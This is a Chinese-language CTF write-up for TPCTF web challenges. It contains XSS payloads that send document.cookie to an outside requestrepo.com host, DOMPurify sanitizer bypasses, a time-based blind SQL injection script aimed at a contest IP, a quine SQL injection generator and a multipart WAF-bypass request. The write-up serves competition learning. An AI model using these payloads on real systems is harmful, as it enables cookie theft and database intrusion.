TPCTF
前言
难得发挥一次给队里做点题,一题三吃的 xss 有点想笑
babylayout
可以用 img src 属性, 然后去拼接绕过检测
layout
<img src="{{content}}">
content:
anything"onerror="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)
safelayout
DOMPurify 对于 layout 和 content 分别处理一次
DOMPurify.sanitize(input, { ALLOWED_ATTR: [] });
但是没有限制
- ALLOW_DATA_ATTR (default=true | usage): Allows data- attributes to be used.
- ALLOW_ARIA_ATTR (default=true | usage): Allows aria- attributes to be used.
所以
layout:
<svg aria-label="{{content}}">anything</svg>
content:
anything"onload="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)
safelayout-revenge
相似的感觉,content 设置为空,layout 如下
x<style><{{content}}/style><{{content}}img src=x onerror=anything"onload="fetch('https://48et2ywy.requestrepo.com?data='+document.cookie)></style>
supersqli
代码逻辑很简单就是从数据库里面查密码,然后 assert 相等就返回一个 flag,然后外面套了一层 go 写的 waf,首行回车加解析差异去绕,但是写完脚本发现那个表其实是空的,当时队友说了我没在意,我以为只是本地空,所以写出了如下失败的脚本
import requests
import time
# 配置
url = "http://1.95.159.113/flag/"
test_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # 测试字符集
TIME_THRESHOLD = 2 # 时间阈值(秒)
MAX_POSITION = 20 # 最大密码长度
# HTTP 请求头
headers = {
"Host": "1.95.159.113",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKPjN0GYtWEjAni5F"
}
# 构造请求体函数
def build_body(position, char):
payload = (
f"1' or (CASE WHEN (SUBSTR((SELECT password FROM blog_adminuser WHERE username='admin'), {position}, 1)='{char}') THEN hex(RANDOMBLOB(1000000000)) ELSE 0 END) or '1'='1"
)
body = (
"------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\n"
"Content-Disposition: form-data; name=\"username\"\r\n"
"\r\n"
"admin\r\n"
"------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\n"
"Content-Disposition: form-data; name=\"anything\";filename=\"anything\"\r\n"
"Content-Disposition: form-data; name=\"password\"\r\n"
"\r\n"
f"{payload}\r\n"
"------WebKitFormBoundaryKPjN0GYtWEjAni5F--"
)
return body
# 发送请求并测量时间
def test_char(position, char):
body = build_body(position, char)
# 更新 Content-Length
headers["Content-Length"] = str(len(body.encode('utf-8')))
start_time = time.time()
response = requests.post(url, headers=headers, data=body.encode('utf-8'))
elapsed_time = time.time() - start_time
return elapsed_time, response.status_code, response.text
# 提取密码
def extract_password():
password = ""
for position in range(1, MAX_POSITION + 1):
print(f"\nTesting position {position}...")
found = False
for char in test_chars:
elapsed_time, status_code, response_text = test_char(position, char)
print(f"Char: '{char}', Time: {elapsed_time:.2f}s, Status: {status_code}, Response: {response_text[:50]}...")
if elapsed_time > TIME_THRESHOLD:
password += char
print(f"Found char at position {position}: '{char}', Current password: {password}")
found = True
break
if not found:
print(f"No match found at position {position}, stopping.")
break
return password
# 执行
if __name__ == "__main__":
print("Starting password extraction...")
final_password = extract_password()
print(f"\nExtracted password: {final_password}")
想办法让语句返回的值可控,和我们输入的 password 相同,Quine 注入
可以借用一个师傅写的比较好的脚本
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("-- " in string):
tem = string.split("--+")[0] + base + "-- "
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("-- " in string):
return sql.split("--+")[0] + string + "-- "
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace("'.'",'"."')
print(res)
借岳神的 exp 用一下
Content-Type: multipart/form-data; boundary=a;
--a
Content-Disposition: form-data;name="username"
admin
--a
Content-Disposition: form-data;name="password]"
111
--a--
Content-Disposition: form-data;name="password"
'union/**/SELECT/**/1,2,REPLACE(REPLACE('"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--',CHAR(34),CHAR(39)),CHAR(46),'"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--')--
are you incognito?
嗨呀岳神牛逼,比赛看解少就没看这个题,之后再做